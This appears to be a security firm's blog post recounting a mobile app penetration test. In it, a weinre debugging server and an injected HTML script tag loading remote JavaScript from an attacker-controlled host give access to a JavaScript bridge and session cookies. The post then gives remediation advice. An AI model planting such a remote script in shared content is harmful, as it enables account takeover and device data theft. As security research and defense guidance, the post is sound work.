An example of how my builder mindset helps me find new solutions for breaking the security model of applications.
During a recent assessment, I was pentesting a hybrid mobile application that is a companion to a web application. The applications allow users to collaborate while creating new interactive digital content. Through the web interface, content creators are allowed to upload a wide range of files, including HTML files, and share the content with other individuals in their organization. Thus, any user with proper permissions is able to view and edit shared content.
When the mobile application is used to view content, files are download to the local device storage and then displayed within a web view. If a shared content file is an HTML file, the mobile application will fully render it within the web view without any controls in place that govern the import of remote libraries, including malicious ones. This is potentially dangerous as the downloaded and rendered content files are run in the context of the running hybrid mobile application.
In addition, any scripts run by the rendered HTML file that can properly leverage the exposed Javascript bridge, which hybrid mobile applications rely on to access native device functions, will have the ability to execute arbitrary code on the underlying host platform and perform C.R.U.D. operations on local files. To protect the exposed Javascript bridge, the mobile developers implemented a custom URL scheme that the application source code utilized to make calls to traditional Javascript methods.
In a time-boxed penetration test, taking time to understand a custom scheme could be a poor use of valuable testing time. It’s often helpful to find shortcuts to expedite the reverse engineering and experimenting process. During this penetration test a moment of clarity struck as I realized that I would be able to accelerate my understanding of the mobile application’s custom URL scheme by leveraging common developer tools.
To further explain, one of my past projects involved the creation of a hybrid mobile application. The main advantage of creating a hybrid mobile application is the speed gained from extending a single code base across multiple platforms, but one of the biggest drawbacks is the amount of difficulty that comes with debugging the application. When I was searching for a method of debugging my hybrid mobile application, I eventually settled on the WEb INspector Remote (weinre
) tool as it was created exactly for this purpose. And with the advancements in application deployment techniques (e.g., npm for Node.js), it appeared that weinre
had become even more easily deployable than the last time I had used it.
weinre
components
weinre
is a debugger for web pages, like FireBug (for FireFox) and Web Inspector (for WebKit-based browsers), except it’s designed to work remotely, and in particular, to allow you to debug web pages on a mobile device such as a phone: http://people.apache.org/~pmuellr/weinre-docs/latest/
Web and mobile developers can leverage weine’s tools to quickly solve the challenges of testing and debugging HTML5 content on mobile devices. Similar to weinre’s big brothers, Apple’s Web Inspector and Google Chrome Developer Tools, users can leverage it to inspect HTML content, modify the style and layout of a page in real time, see errors as they occur, and interact with a JavaScript console.
Installing weinre
debugger
Run the following npm command:
$ sudo npm -g install weinre
To run the weinre
server and have it listen on all interfaces (not just localhost), run the following:
$ weinre –-boundHost -all-
You should see a message similar to this: “2012-10-12T20:33:06.957Z
weinre: starting server at http://localhost:8080” Since you used the —boundHost -all-
option, your weinre
server should now be available from any machine that can access the server by specifying its hostname/IP address.
In a matter of minutes, I was able to quickly stand up a weinre
server that a malicious HTML content file would connect to. Once connected, I would be able to launch a weinre
client application that would display various debugging tools, including an interactive Javascript console. Adding the following script creates a potentially malicious HTML content file :
<script src="http://192.168.1.170:8081/target/target-script-min.js"></script>
Once a malicious HTML content file was opened by any user whom the file was shared with, the weinre
client console would immediately show the user’s device as connected to the server. By executing a simple alert command in the Javascript console, a pop-up window would be promptly displayed on the connected device, as seen in the figures below.
Executing remote alert() command with weinre
Impact
In reality, these initial tests would have been enough to demonstrate a proof of concept attack that could enable an attacker to compromise user accounts (the attacker has a refined Javascript payload to present a fake prompt that would extract information from a user who is in the midst of reviewing the malicious HTML content file). However, my original plan was to reverse engineer the application to understand the custom URL scheme and gain access to the custom Javascript bridge.
With the interactive Javascript shell I was able to examine Javascript objects and attempt several insightful experiments in rapid iteration. Eventually my testing led to an understanding of the custom URL scheme and thus direct access to the exposed Javascript bridge. Once I had direct access to the exposed Javascript bridge, I had access to several of the mobile device’s native functions, including a way to read local files that contained session cookies.
Essentially, it was GAME OVER
.
Now I would be able to upload files with a stored cross-site scripting payload that not only could manipulate a user’s mobile device data but also would provide information that could compromise a user’s account.
Remediation Strategies
To avoid becoming victim to the same attack, the first step would be to avoid the rendering or execution of code with user-supplied data. This goes back to the principle of always being wary of any user-supplied data. Create a wrapper that will dynamically return the desired contents rather than directly executing or rendering the contents of a user-supplied file.
The second step would be to implement a set of controls to limit remote data imported and connections that user-supplied code can make. The application should only be allowed to interact with a predetermined whitelist of URLS. This might have been avoided if the application developers had not attempted to roll their own solution for creating the Javascript bridge.
In a previous post, MAC Cryptographic Errors and Vulnerabilities in SSO Authentication, we discussed that rolling your own solution and not leveraging established open-source libraries that perform the same task is often not a good idea. There are too many places for things to go wrong and often not enough eyes/minds working on the code. For hybrid mobile applications, the most popular open-source option is the Apache Cordova project, which includes security controls for whitelisting URLs. At the very least, the developers could have referenced the source code for examples of how to implement whitelisting functionality.
When developing a hybrid mobile application where a majority of the functionality is implemented in Javascript, utilize an obfuscation tool to increase the difficulty of reverse engineering any source code that might reveal sensitive information. For increased security, consider other methods that might increase the difficulty for an attacker to reverse engineer the application.
For example:
- Encrypt Javascript files that could reveal sensitive information before adding them to the mobile application package
- Store the decryption key on the mobile device by utilizing secure storage methods provided by the mobile SDK (e.g., Android keystore, iOS keychain, etc.)
- Write all Javascript file decryption methods in source code that is compiled to bytecode
Always remember, code obfuscation is not a security solution, as the most determined hackers will always find a way to make sense of the code. It only provides an additional roadblock that hopefully causes the attacker to second guess whether they want to put forth the effort to reverse engineer the code.
Builders, Breakers, and the Balance in Between
In the world of security, there is a school of thought that technical individuals can be separated into one of two categories: builders and breakers. One of the core principles that we believe at Praetorian is that builders make the best breakers. As we see it, one will have a much easier time breaking what one understands. However, in my personal journey of transitioning from a builder to a breaker, I had my share of struggles as there were times when I felt my developer background hindered my thought process as a breaker. Although I was always able to quickly break down applications, there were instances when I became too entrenched in my builder mindset. I either overanalyzed source code, or became too focused on testing part of an application where a potential developer’s mistake would likely end in a functionality problem rather than a security vulnerability. I eventually realized that the real advantage of coming from a builder background was not the ability to transition between each mindset, but being able to find a balance in between. Finding that balance would lead me to thinking outside the box by pulling in experiences and tools that would enable me to have a different perspective on solving a problem.
The above narrative was a perfect example of me finding that balance by leveraging my knowledge as a builder to find a new solution to breaking the security model of an application. I don’t want this to sound like an attack on the breakers who don’t come from a builder background. I intended it more as a reminder to think outside the box and look beyond the normal security testing techniques to find that balance in between builder and breaker. For a builder turned breaker, it means leveraging skills, techniques, and tools that you might have come across during life as a builder. For lifelong breakers, it is encouragement to take some time to familiarize yourself with the world of the builder, as it might provide you additional perspective and thus additional solutions to solving your next big problem.
“The world we have created is a product of our thinking; it cannot be changed without changing our thinking.” ~ Albert Einstein